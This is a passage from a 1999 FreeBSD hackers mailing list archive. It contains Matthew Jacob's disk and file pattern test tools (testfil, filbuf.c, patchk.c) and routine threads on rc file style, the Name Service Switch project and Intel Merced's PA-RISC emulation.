OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # # $Id: testfil,v 1.1 1999/08/27 18:11:19 mjacob Exp $ # FILESIZ=${FILESIZ-1m} FILECNT=${FILECNT-10} tripcount=1 if [ $# -ne 1 ]; then echo "usage: $0 testdirectory" exit 1 fi while : do echo "Begin Pass $tripcount" i=1 while [ $i -lt ${FILECNT} ] do filbuf -p $i -s ${FILESIZ} -o $1/file.$i & i=`expr $i '+' 1` done wait i=1 while [ $i -lt ${FILECNT} ] do filbuf -p $i -s ${FILESIZ} -i $1/file.$i if [ $? -ne 0 ] then exit 1 fi rm -f $1/file.$i i=`expr $i '+' 1` done tripcount=`expr $tripcount '+' 1` done /* * Copyright (c) 1999 Matthew Jacob * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification, immediately at the beginning of the file. * 2. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $Id: filbuf.c,v 1.1 1999/08/27 18:11:09 mjacob Exp $ */ #include #include #include #include #include #include #include static off_t szarg(char *); static void miscompare(char *, char *, int, off_t); #define DEFAULT_BUFLEN (63 << 10) #define DEFAULT_FILESIZE (1 << 20) extern int optind; extern char *optarg; int main(int argc, char **argv) { static const char *usage = "usage: %s -{o,i} filename [ -s size[{k|m|g}] ] [ -p idpattern ]"; int c, fd, io, amt; off_t filesize, curoff; size_t buflen; char *idp, *filename, *buf, *ptr; io = 0; idp = argv[0]; filename = NULL; buflen = DEFAULT_BUFLEN; filesize = DEFAULT_FILESIZE; while ((c = getopt(argc, argv, "p:s:o:i:")) != -1) { switch (c) { case 'p': idp = optarg; break; case 'i': if (filename != NULL) { fprintf(stderr, usage, argv[0]); return (1); } filename = optarg; io = 'i'; break; case 'o': if (filename != NULL) { fprintf(stderr, usage, argv[0]); return (1); } filename = optarg; io = 'o'; break; case 's': filesize = szarg(optarg); break; default: fprintf(stderr, usage, argv[0]); return (1); } } if (filename == NULL) { fprintf(stderr, usage, argv[0]); return (1); } if ((buf = malloc(buflen)) == NULL) { perror("malloc"); return (1); } /* * Fill the buffer with a pattern we write out or compare to. */ ptr = buf; c = strlen(idp); for (ptr = buf; ptr <= &buf[buflen-c]; ptr += c) { strcpy(ptr, idp); } if (io == 'o') { fd = open(filename, O_RDWR|O_CREAT, 0644); if (fd < 0) { perror(filename); return (1); } for (curoff = 0; curoff < filesize; curoff += amt) { amt = buflen; if ((curoff + amt) > filesize) { amt = (int) (filesize - curoff); } io = write(fd, buf, amt); if (io != amt) { if (errno) perror("write"); fprintf(stderr, "Wrote %d of %d\n", io, amt); (void) close(fd); return (1); } } } else { char *cmpbuf = malloc(buflen); if (cmpbuf == NULL) { perror("malloc"); return (1); } fd = open(filename, O_RDONLY, 0); if (fd < 0) { perror(filename); return (1); } for (curoff = 0; curoff < filesize; curoff += amt) { amt = buflen; if ((curoff + amt) > filesize) { amt = (int) (filesize - curoff); } io = read(fd, cmpbuf, amt); if (io != amt) { if (errno) perror("read"); fprintf(stderr, "Read %d of %d\n", io, amt); (void) close(fd); return (1); } if (memcmp(buf, cmpbuf, amt)) { miscompare(buf, cmpbuf, amt, curoff); (void) close(fd); return (1); } } } (void) close(fd); return (0); } static void miscompare(char *diskbuf, char *patternbuf, int bufsize, off_t curoff) { int i; fprintf(stdout, "\tData Miscompare Detected\n"); fprintf(stdout, " Offset\t Original -> Read\n"); fprintf(stdout, "---------------------------------\n"); for (i = 0; i < bufsize; i++) { if (diskbuf[i] != patternbuf[i]) { fprintf(stdout, "% 9ld\t 0x%02x -> 0x%02x\n", (long) (curoff + i), patternbuf[i] & 0xff, diskbuf[i] & 0xff); } } } static off_t szarg(char *n) { register int shift = 0; register char *q = n; while (*q != (char) 0) q++; q--; if (*q == 'b' || *q == 'B') q--; if (*q == 'k' || *q == 'K') { shift = 10; *q = 0; } else if (*q == 'm' || *q == 'M') { shift = 20; *q = 0; } else if (*q == 'g' || *q == 'G') { shift = 30; *q = 0; } return ((off_t) strtol((const char *)n, (char **) NULL, 0) << shift); } /* * Local variables: * c-indent-level: 8 * c-brace-imaginary-offset: 0 * c-brace-offset: -8 * c-argdecl-indent: 8 * c-label-offset: -8 * c-continued-statement-offset: 8 * c-continued-brace-offset: 0 * End: */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 11:20:34 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id B2EB514F10 for ; Fri, 27 Aug 1999 11:20:26 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA31885; Fri, 27 Aug 1999 11:19:29 -0700 Date: Fri, 27 Aug 1999 11:19:28 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Brian McGovern Cc: hackers@freebsd.org Subject: Re: Looking for good QA tests... Part 2.. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Raw pattern checker...less well polished...runs on a lot of platforms... Avoids trashing disk labels... Usage is a little less than obvious... 1. patchk RAWDISK TransferSize c Create/Validate/Test patterns.. creates patterns in TransferSize chunks..validates that they were correctly written, then randoml reads or updates same patterns. 2. patchk RAWDISK TransferSize u Skips the create step.... 3. patchk RAWDISK TransferSize v Skips the create and refresh test- just validates the pattern. Gary Palmer managed to find some pretty serious problems in a disk array by running multiple 'u' instantiations on the same partitition after an initial 'c' test. /* * Copyright (c) 1999 Matthew Jacob * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification, immediately at the beginning of the file. * 2. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $Id: patchk.c,v 1.3 1999/08/27 18:14:34 mjacob Exp $ */ #ifdef convex #include extern int optind; extern int getopt(int, char **, const char *); #define SEEK_T off64_t #define SEEK lseek64 #define FSTAT fstat64 #define STAT_T stat64_t #else #define SEEK_T off_t #define SEEK lseek #define FSTAT fstat #define STAT_T struct stat #endif #include #include #include #include #include #include #include #include #include #include #ifdef sun #define rand lrand48 #define srand srand48 #ifdef __SVR4 #include #else #include extern int gettimeofday(struct timeval *, struct timezone *); extern void bzero(char *, int); extern int strtol(const char *, char **, int); #endif extern int optind; #endif #ifdef __linux__ #include #include #endif #ifdef convex #include #include #endif #if defined(__NetBSD__) || defined(__OpenBSD__) #include #include #endif #ifdef __FreeBSD__ #include #endif #ifdef __ultrix extern int optind; #endif #ifndef O_LARGEFILE #define O_LARGEFILE 0 #endif static int szarg(char *); int main(int a, char **v) { SEEK_T seekbase, seeklim, *buffer, wloc; int blksize; long long sb, sl; STAT_T st; int fd, i, error, create, nowrite; seekbase = (SEEK_T) 0; nowrite = 0; srand((int)(time((time_t *) 0)/getpid())); if (a != 4) { usage: fprintf(stderr, "Usage: %s raw-disk xfersize {c[reate]|u[se]|v[alidate]}\n", *v); return (1); } blksize = szarg(v[2]); buffer = (SEEK_T *) calloc((size_t) blksize, sizeof (SEEK_T)); if (buffer == NULL) { perror("malloc"); return (1); } if (*v[3] == 'c') { create = 1; } else if (*v[3] == 'u') { create = 0; } else if (*v[3] == 'v') { create = 0; nowrite = 1; } else { goto usage; } fd = open(v[1], nowrite? O_RDONLY : O_RDWR, 0666); if (fd < 0) { perror(v[2]); exit(1); } if (FSTAT(fd, &st) < 0) { perror("fstat"); exit(1); } if (S_ISCHR(st.st_mode)) { #if defined(__NetBSD__) || defined(__FreeBSD__) || defined(__OpenBSD__) int part; struct disklabel x; if (ioctl(fd, DIOCGDINFO, (caddr_t) &x) < 0) { perror("DIOCGDINFO"); exit(1); } seekbase = 8192; part = v[1][strlen(v[1]) - 1] - 'a'; seeklim = ((SEEK_T) x.d_partitions[part].p_size) * (SEEK_T) DEV_BSIZE; #elif defined(sun) struct dk_allmap x; int part; if (blksize < DEV_BSIZE) { fprintf(stderr, "%s: block size must be at least %d bytes on " "raw device\n", *v, DEV_BSIZE); exit(1); } #if defined(__svr4__) part = v[1][strlen(v[1]) - 1] - '0'; #else part = v[1][strlen(v[1]) - 1] - 'a'; #endif if (ioctl(fd, DKIOCGAPART, (caddr_t) &x) < 0) { perror("DKIOCGAPART"); exit(1); } seekbase = 8192; seeklim = ((SEEK_T) x.dka_map[part].dkl_nblk) * (SEEK_T) DEV_BSIZE; #elif defined(convex) struct topology top; seeklim = 0; if (ioctl(fd, SIOC_READ_TOPOLOGY, (caddr_t)&top) >= 0) { seeklim = (SEEK_T) top.partition[st.st_rdev & 0xf].size * (SEEK_T) DEV_BSIZE; } #else seeklim = (SEEK_T) 1; #endif } else { #ifdef linux if (ioctl(fd, BLKGETSIZE, (caddr_t) &seeklim) < 0) { perror("BLKGETSIZE"); exit(1); } seeklim <<= 9; #else fprintf(stderr, "%s: is not a raw device\n", v[1]); return (1); #endif } if (seekbase < blksize) seekbase = blksize; /* * Truncate to lower block boundary. */ seeklim &= ~(blksize-1); /* * An back off one. */ seeklim -= blksize; if (seeklim < (SEEK_T) 0) { printf("%s too big for lseek(2) call\n", v[1]); exit(1); } if (seeklim < (seekbase+blksize)) { fprintf(stderr, "%s: botch, seeklim (%ld) < seekbase + blksize (%ld)\n", *v, seeklim, seekbase + blksize); exit(1); } sb = (long long) seekbase; sl = (long long) seeklim; fprintf(stdout, "%s: Seek base %lx%08lx Seek lim %lx%08lx blocksize %d\n", v[1], (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF), (long) (sl >> 32LL), (long) (sl & 0xFFFFFFFF), blksize); wloc = SEEK(fd, (SEEK_T) seekbase, 0); if (wloc < (SEEK_T) 0) { perror("seek"); exit (1); } if (create) { fprintf(stdout, "Creating Patterns..."); fflush(stdout); for (wloc = seekbase; wloc < seeklim; wloc += blksize) { sb = (long long) wloc; for (i = 0; i < (blksize/sizeof (SEEK_T)); i++) { buffer[i] = wloc; } if ((i = write(fd, (char *)buffer, (int) blksize)) != blksize) { if (errno) perror("write"); fprintf(stderr, "write returned %d at offset 0x%lx0x%08lx\n", i, (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF)); exit (1); } } wloc = SEEK(fd, (SEEK_T) seekbase, 0); if (wloc < (SEEK_T) 0) { perror("seek"); exit (1); } } fprintf(stdout, "Checking Patterns..."); fflush(stdout); for (wloc = seekbase; wloc < seeklim; wloc += blksize) { sb = (long long) wloc; if ((i = read(fd, (char *)buffer, blksize)) != blksize) { if (errno) perror("read"); fprintf(stderr, "read returned %d at offset 0x%lx%08lx\n", i, (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF)); exit (1); } for (error = i = 0; i < (blksize/sizeof (SEEK_T)); i++) { if (buffer[i] != wloc) { sb = wloc; sl = (long long) buffer[i]; error++; fprintf(stderr, "compare error at block loc 0x%lx%08lx offset " "%d got %lx%08lx\n", (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF), i, (long) (sl >> 32LL), (long) (sl & 0xFFFFFFFF)); } } if (error) exit (1); } fprintf(stdout, "Randomly Checking Patterns\n"); while (1) { SEEK_T sloc; wloc = rand(); wloc &= ~(((SEEK_T)blksize) - 1); if (wloc < seekbase) continue; if (wloc >= (seeklim-(SEEK_T) blksize)) continue; sloc = SEEK(fd, wloc, 0); if (sloc < (SEEK_T) 0) { perror("seek"); exit (1); } if (sloc != wloc) { if (errno) perror("seek2"); fprintf(stderr, "wanted to seek to %lx and got to %lx instead\n", wloc, sloc); continue; } sb = (long long) wloc; if (!nowrite && (rand() & 1)) { for (i = 0; i < (blksize/sizeof (SEEK_T)); i++) { buffer[i] = wloc; } if ((i = write(fd, (char *)buffer, blksize)) != blksize) { fprintf(stderr, "\n"); if (errno) perror("write"); fprintf(stderr, "write returned %d at offset 0x%lx%08lx\n", i, (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF)); printf("wloc %lx sloc %lx\n", wloc, sloc); exit (1); } } else { if ((i = read(fd, (char *)buffer, blksize)) != blksize) { fprintf(stderr, "\n"); if (errno) perror("read"); fprintf(stderr, "read returned %d at offset 0x%lx%08lx\n", i, (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF)); printf("wloc %lx sloc %lx\n", wloc, sloc); exit (1); } for (error = i = 0; i < (blksize/sizeof (SEEK_T)); i++) { if (buffer[i] != wloc) { sb = wloc; sl = (long long) buffer[i]; if (error++ == 0) fprintf(stderr, "\n"); fprintf(stderr, "compare error at buffer offset %d should " "be 0x%lx%08lx got 0x%lx%08lx\n", i, (long) (sb >> 32LL), (long) (sb & 0xFFFFFFFF), (long) (sl >> 32LL), (long) (sl & 0xFFFFFFFF)); } } if (error) exit (1); } } } static int szarg(char *n) { register int shift = 0; register char *q = n; while (*q != (char) 0) q++; q--; if (*q == 'b' || *q == 'B') q--; if (*q == 'k' || *q == 'K') { shift = 10; *q = 0; } else if (*q == 'm' || *q == 'M') { shift = 20; *q = 0; } else if (*q == 'g' || *q == 'G') { shift = 30; *q = 0; } return ((SEEK_T) strtol((const char *)n, (char **) NULL, 0) << shift); } /* * --------------------------------------------------------------------------- * Local variables: * c-indent-level: 4 * c-brace-imaginary-offset: 0 * c-brace-offset: -4 * c-argdecl-indent: 4 * c-label-offset: -4 * c-continued-statement-offset: 4 * c-continued-brace-offset: 0 * End: */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 11:23:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt010nb9.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 140F114F10 for ; Fri, 27 Aug 1999 11:23:19 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from localhost (doug@localhost) by dt010nb9.san.rr.com (8.9.3/8.8.8) with ESMTP id LAA72576; Fri, 27 Aug 1999 11:23:06 -0700 (PDT) (envelope-from Doug@gorean.org) Date: Fri, 27 Aug 1999 11:23:06 -0700 (PDT) From: Doug X-Sender: doug@dt010nb9.san.rr.com To: Nate Williams Cc: Doug , freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes In-Reply-To: <199908271705.LAA24405@mt.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Nate Williams wrote: > [ I'm nit-picking here, feel free to ignore.... ] A) You're in really good company. :) B) I expected a lot of nits to be picked on this project, which is why I wanted to do a "first draft" and solicit comments. I'm not overly concerned about getting _my_ way on a lot of these things, so long as we get a style that is consistent and that everyone can live with. > > Doug--- /usr/src/etc/rc Thu Aug 26 20:56:36 1999 > > +++ rc Fri Aug 27 09:52:39 1999 > > @@ -8,24 +8,25 @@ > > # and the console is the controlling terminal. > > > > # Note that almost all the user-configurable behavior is no longer in > > -# this file, but rather in /etc/defaults/rc.conf. Please check this file > > +# this file, but rather in /etc/defaults/rc.conf. Please check that file > > # first before contemplating any changes here. > > > > Sentences are supposed to have two spaces before you start the next > sentence. Well, that was definitely the old typographical convention, but in the digital age it's fallen into disfavor. It was easier to delete the second space to make them all consistent, but I can go with double spaces if that's the consensus. > Thanks for doing this! My pleasure actually. This project is something that I've wanted to see accomplished for several years. I'm happy that the momentum is swiging this way finally. Doug -- "My mama told me, my mama said, 'don't cry.' She said, 'you're too young a man to have as many women you got.' I looked at my mother dear and didn't even crack a smile. I said, 'If women kill me, I don't mind dyin!'" - John Belushi as "Joliet" Jake Blues, "I Don't Know" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 11:34:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pop3-3.enteract.com (pop3-3.enteract.com [207.229.143.32]) by hub.freebsd.org (Postfix) with SMTP id AD5DF15559 for ; Fri, 27 Aug 1999 11:34:54 -0700 (PDT) (envelope-from jrs@enteract.com) Received: (qmail 28093 invoked from network); 27 Aug 1999 18:33:03 -0000 Received: from shell-1.enteract.com (jrs@207.229.143.40) by pop3-3.enteract.com with SMTP; 27 Aug 1999 18:33:03 -0000 Date: Fri, 27 Aug 1999 13:33:03 -0500 (CDT) From: John Sconiers To: Oscar Bonilla Cc: freebsd-hackers@freebsd.org Subject: Re: NSS Project In-Reply-To: <19990803095333.A14120@fisicc-ufm.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was looking for followups to this thread and have searched the archives for more information without luck. I have a few questions. Has this project furthered any and where can one get the diffs / source??? Is there a website that goes in depth about the project. JOHN > Following on the NSS (Name Service Switch): > *Step One: I ported the NetBSD implementation of nsdispatch(3) as implemented > by Luke Mewburn. See attached patch to libc and new header file. I'm also > attaching the man page for /etc/nsswitch.conf. Right now it compiles, > installs, and works for some simple tests I've run. > *Step Two: make getpwent, getgrent, and friends actually use the nsdispatch > function. I've already started looking at the source, but am having trouble > with the NIS part. Maybe someone more knowledgeable could write the NIS > function. > Basically we have to reduce each of the functions to a simple nsdispatch > call and then implement the real functions... Here's an example from > getpwent.c To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 11:46:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (Postfix) with ESMTP id 1E0D014DB3 for ; Fri, 27 Aug 1999 11:46:38 -0700 (PDT) (envelope-from sef@kithrup.com) Received: (from sef@localhost) by kithrup.com (8.8.8/8.8.8) id LAA29944; Fri, 27 Aug 1999 11:44:55 -0700 (PDT) (envelope-from sef) Date: Fri, 27 Aug 1999 11:44:55 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199908271844.LAA29944@kithrup.com> To: hackers@freebsd.org Reply-To: hackers@freebsd.org Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: References: Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article you write: >Actually, I was reading in a newsgroup, the VMS newsgroup I think it was, >that the PA-RISC chip is on the Merced chip. Basically, Intel will sell >Merced's with the chip disabled (kind of like the math co-processor on the >486 SX's) and HP will sell it with the PA-RISC chip enabled so it can run >HP-UX. *sigh* Look, people, the Merced WILL NOT excuse PA-RISC code directly. It will be done via emulation/translation, and only a certain particular OS will be supported (HP-UX 11, I believe they stated -- since HP-UX 11 runs almost all HP-UX 10.* applications with no problem, I am _guessing_ that this means they will continue to work). I really don't know how people get started with this. HP has _never_ stated that the chip will handle it; all they have stated is that HPUX applications will continue to be supported. I suggest you people go read comp.arch for a while; there's a fair bit of information cropping up there. For example, there's a wonderful thread going on about HP's previous experience with architecture emulation, including some interesting comments by people at HP. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 12:45:34 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from argus.tfs.net (host1-225.birch.net [216.212.1.225]) by hub.freebsd.org (Postfix) with ESMTP id B684A1600F; Fri, 27 Aug 1999 12:45:13 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id OAA28209; Fri, 27 Aug 1999 14:43:20 -0500 (CDT) From: Jim Bryant Message-Id: <199908271943.OAA28209@argus.tfs.net> Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: <199908271844.LAA29944@kithrup.com> from Sean Eric Fagan at "Aug 27, 99 11:44:55 am" To: hackers@FreeBSD.ORG Date: Fri, 27 Aug 1999 14:43:19 -0500 (CDT) Cc: freebsd-hackers@FreeBSD.ORG Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > In article you write: > >Actually, I was reading in a newsgroup, the VMS newsgroup I think it was, > >that the PA-RISC chip is on the Merced chip. Basically, Intel will sell > >Merced's with the chip disabled (kind of like the math co-processor on the > >486 SX's) and HP will sell it with the PA-RISC chip enabled so it can run > >HP-UX. > > *sigh* > > Look, people, the Merced WILL NOT excuse PA-RISC code directly. It will be > done via emulation/translation, and only a certain particular OS will be > supported (HP-UX 11, I believe they stated -- since HP-UX 11 runs almost all > HP-UX 10.* applications with no problem, I am _guessing_ that this means they > will continue to work). > > I really don't know how people get started with this. HP has _never_ stated > that the chip will handle it; all they have stated is that HPUX applications > will continue to be supported. > > I suggest you people go read comp.arch for a while; there's a fair bit of > information cropping up there. For example, there's a wonderful thread going > on about HP's previous experience with architecture emulation, including some > interesting comments by people at HP. Well, the way I understand things, HP-UX 11 comes in two flavors, 32 bits and 64 bits. I think that 32-bit code is handled in a legacy emulation under 64 bit 11, I'd have to double check that though with the book. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 12:45:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from argus.tfs.net (host1-225.birch.net [216.212.1.225]) by hub.freebsd.org (Postfix) with ESMTP id B684A1600F; Fri, 27 Aug 1999 12:45:13 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id OAA28209; Fri, 27 Aug 1999 14:43:20 -0500 (CDT) From: Jim Bryant Message-Id: <199908271943.OAA28209@argus.tfs.net> Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: <199908271844.LAA29944@kithrup.com> from Sean Eric Fagan at "Aug 27, 99 11:44:55 am" To: hackers@FreeBSD.ORG Date: Fri, 27 Aug 1999 14:43:19 -0500 (CDT) Cc: freebsd-hackers@FreeBSD.ORG Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > In article you write: > >Actually, I was reading in a newsgroup, the VMS newsgroup I think it was, > >that the PA-RISC chip is on the Merced chip. Basically, Intel will sell > >Merced's with the chip disabled (kind of like the math co-processor on the > >486 SX's) and HP will sell it with the PA-RISC chip enabled so it can run > >HP-UX. > > *sigh* > > Look, people, the Merced WILL NOT excuse PA-RISC code directly. It will be > done via emulation/translation, and only a certain particular OS will be > supported (HP-UX 11, I believe they stated -- since HP-UX 11 runs almost all > HP-UX 10.* applications with no problem, I am _guessing_ that this means they > will continue to work). > > I really don't know how people get started with this. HP has _never_ stated > that the chip will handle it; all they have stated is that HPUX applications > will continue to be supported. > > I suggest you people go read comp.arch for a while; there's a fair bit of > information cropping up there. For example, there's a wonderful thread going > on about HP's previous experience with architecture emulation, including some > interesting comments by people at HP. Well, the way I understand things, HP-UX 11 comes in two flavors, 32 bits and 64 bits. I think that 32-bit code is handled in a legacy emulation under 64 bit 11, I'd have to double check that though with the book. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 13:15:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pop3-3.enteract.com (pop3-3.enteract.com [207.229.143.32]) by hub.freebsd.org (Postfix) with SMTP id ED6211557C for ; Fri, 27 Aug 1999 13:15:39 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: (qmail 85160 invoked from network); 27 Aug 1999 20:07:54 -0000 Received: from shell-1.enteract.com (dscheidt@207.229.143.40) by pop3-3.enteract.com with SMTP; 27 Aug 1999 20:07:54 -0000 Date: Fri, 27 Aug 1999 15:07:54 -0500 (CDT) From: David Scheidt To: hackers@freebsd.org Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: <199908271844.LAA29944@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Sean Eric Fagan wrote: > In article you write: > Look, people, the Merced WILL NOT excuse PA-RISC code directly. It will be > done via emulation/translation, and only a certain particular OS will be > supported (HP-UX 11, I believe they stated -- since HP-UX 11 runs almost all > HP-UX 10.* applications with no problem, I am _guessing_ that this means they > will continue to work). I just asked one of our HP people about this. He says that anything that runs on HP 11.0 PA-RISC will run on IA64. It is his understanding that this includes not only 10.x stuff, but also 9.x and 8.x stuff. We have stuff that runs on 11 that was originally compiled for 8.0. David Scheidt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 13:21:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by hub.freebsd.org (Postfix) with ESMTP id 836D81557C; Fri, 27 Aug 1999 13:21:35 -0700 (PDT) (envelope-from ezk@shekel.mcl.cs.columbia.edu) Received: from 